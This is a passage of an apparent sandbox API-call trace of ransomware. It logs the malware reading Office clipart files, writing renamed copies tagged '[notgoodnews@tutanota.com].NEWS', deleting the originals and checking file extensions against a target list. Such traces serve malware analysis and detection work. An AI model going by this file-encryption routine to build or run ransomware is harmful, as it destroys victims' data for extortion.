| out: lpNewFilePointer=0x0) returned 1 [0077.672] SetEndOfFile (hFile=0x358) returned 1 [0077.673] CloseHandle (hObject=0x358) returned 1 [0077.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0077.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.674] lstrlenW (lpString=".doc") returned 4 [0077.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.674] lstrlenW (lpString=".docx") returned 5 [0077.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.674] lstrlenW (lpString=".pdf") returned 4 [0077.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.674] lstrlenW (lpString=".xls") returned 4 [0077.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.674] lstrlenW (lpString=".xlsx") returned 5 [0077.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.674] lstrlenW (lpString=".ppt") returned 4 [0077.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.674] lstrlenW (lpString=".zip") returned 4 [0077.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.674] lstrlenW (lpString=".rar") returned 4 [0077.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.674] lstrlenW (lpString=".bz2") returned 4 [0077.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.674] lstrlenW (lpString=".7z") returned 3 [0077.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".dbf") returned 4 [0077.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".1cd") returned 4 [0077.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".jpg") returned 4 [0077.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".doc") returned 4 [0077.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString=".docx") returned 5 [0077.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.675] lstrlenW (lpString=".pdf") returned 4 [0077.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString=".xls") returned 4 [0077.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.675] lstrlenW (lpString=".xlsx") returned 5 [0077.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.675] lstrlenW (lpString=".ppt") returned 4 [0077.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".zip") returned 4 [0077.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.675] lstrlenW (lpString=".rar") returned 4 [0077.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString=".bz2") returned 4 [0077.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.675] lstrlenW (lpString=".7z") returned 3 [0077.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.675] lstrlenW (lpString=".dbf") returned 4 [0077.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.676] lstrlenW (lpString=".1cd") returned 4 [0077.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0077.676] lstrlenW (lpString=".jpg") returned 4 [0077.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.676] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.676] lstrlenW (lpString="BD07804_.WMF") returned 12 [0077.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.676] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4924) returned 1 [0077.676] CloseHandle (hObject=0x358) returned 1 [0077.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0077.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.677] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.677] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.677] GetLastError () returned 0x0 [0077.677] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x133c, lpOverlapped=0x0) returned 1 [0077.678] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1340, lpOverlapped=0x0) returned 1 [0077.679] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.679] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.680] SetEndOfFile (hFile=0x330) returned 1 [0077.680] CloseHandle (hObject=0x330) returned 1 [0077.681] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.681] SetEndOfFile (hFile=0x358) returned 1 [0077.682] CloseHandle (hObject=0x358) returned 1 [0077.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0077.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.683] lstrlenW (lpString=".doc") returned 4 [0077.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.683] lstrlenW (lpString=".docx") returned 5 [0077.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.683] lstrlenW (lpString=".pdf") returned 4 [0077.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.683] lstrlenW (lpString=".xls") returned 4 [0077.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.683] lstrlenW (lpString=".xlsx") returned 5 [0077.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.683] lstrlenW (lpString=".ppt") returned 4 [0077.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.683] lstrlenW (lpString=".zip") returned 4 [0077.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.683] lstrlenW (lpString=".rar") returned 4 [0077.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString=".bz2") returned 4 [0077.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString=".7z") returned 3 [0077.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString=".dbf") returned 4 [0077.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString=".1cd") returned 4 [0077.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString=".jpg") returned 4 [0077.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString=".doc") returned 4 [0077.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString=".docx") returned 5 [0077.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.684] lstrlenW (lpString=".pdf") returned 4 [0077.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString=".xls") returned 4 [0077.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.684] lstrlenW (lpString=".xlsx") returned 5 [0077.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.684] lstrlenW (lpString=".ppt") returned 4 [0077.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.684] lstrlenW (lpString=".zip") returned 4 [0077.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.684] lstrlenW (lpString=".rar") returned 4 [0077.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.685] lstrlenW (lpString=".bz2") returned 4 [0077.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.685] lstrlenW (lpString=".7z") returned 3 [0077.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.685] lstrlenW (lpString=".dbf") returned 4 [0077.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.685] lstrlenW (lpString=".1cd") returned 4 [0077.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0077.685] lstrlenW (lpString=".jpg") returned 4 [0077.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.685] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.685] lstrlenW (lpString="BD07831_.WMF") returned 12 [0077.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.685] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4066) returned 1 [0077.685] CloseHandle (hObject=0x358) returned 1 [0077.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0077.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.686] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.686] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.686] GetLastError () returned 0x0 [0077.686] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xfe2, lpOverlapped=0x0) returned 1 [0077.688] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xff0, lpOverlapped=0x0) returned 1 [0077.689] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.689] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.689] SetEndOfFile (hFile=0x330) returned 1 [0077.689] CloseHandle (hObject=0x330) returned 1 [0077.690] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.690] SetEndOfFile (hFile=0x358) returned 1 [0077.691] CloseHandle (hObject=0x358) returned 1 [0077.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0077.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.691] lstrlenW (lpString=".doc") returned 4 [0077.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString=".docx") returned 5 [0077.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.692] lstrlenW (lpString=".pdf") returned 4 [0077.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString=".xls") returned 4 [0077.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.692] lstrlenW (lpString=".xlsx") returned 5 [0077.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.692] lstrlenW (lpString=".ppt") returned 4 [0077.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString=".zip") returned 4 [0077.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.692] lstrlenW (lpString=".rar") returned 4 [0077.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString=".bz2") returned 4 [0077.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString=".7z") returned 3 [0077.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString=".dbf") returned 4 [0077.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString=".1cd") returned 4 [0077.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString=".jpg") returned 4 [0077.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.692] lstrlenW (lpString=".doc") returned 4 [0077.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.692] lstrlenW (lpString=".docx") returned 5 [0077.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.693] lstrlenW (lpString=".pdf") returned 4 [0077.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString=".xls") returned 4 [0077.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.693] lstrlenW (lpString=".xlsx") returned 5 [0077.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.693] lstrlenW (lpString=".ppt") returned 4 [0077.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.693] lstrlenW (lpString=".zip") returned 4 [0077.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.693] lstrlenW (lpString=".rar") returned 4 [0077.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString=".bz2") returned 4 [0077.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString=".7z") returned 3 [0077.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.693] lstrlenW (lpString=".dbf") returned 4 [0077.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.693] lstrlenW (lpString=".1cd") returned 4 [0077.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0077.693] lstrlenW (lpString=".jpg") returned 4 [0077.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.693] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.693] lstrlenW (lpString="BD08758_.WMF") returned 12 [0077.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.694] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=24320) returned 1 [0077.694] CloseHandle (hObject=0x358) returned 1 [0077.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0077.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.694] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.694] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.695] GetLastError () returned 0x0 [0077.695] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5f00, lpOverlapped=0x0) returned 1 [0078.172] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5f10, lpOverlapped=0x0) returned 1 [0078.173] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.173] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.173] SetEndOfFile (hFile=0x330) returned 1 [0078.710] CloseHandle (hObject=0x330) returned 1 [0078.711] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.711] SetEndOfFile (hFile=0x358) returned 1 [0078.712] CloseHandle (hObject=0x358) returned 1 [0078.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 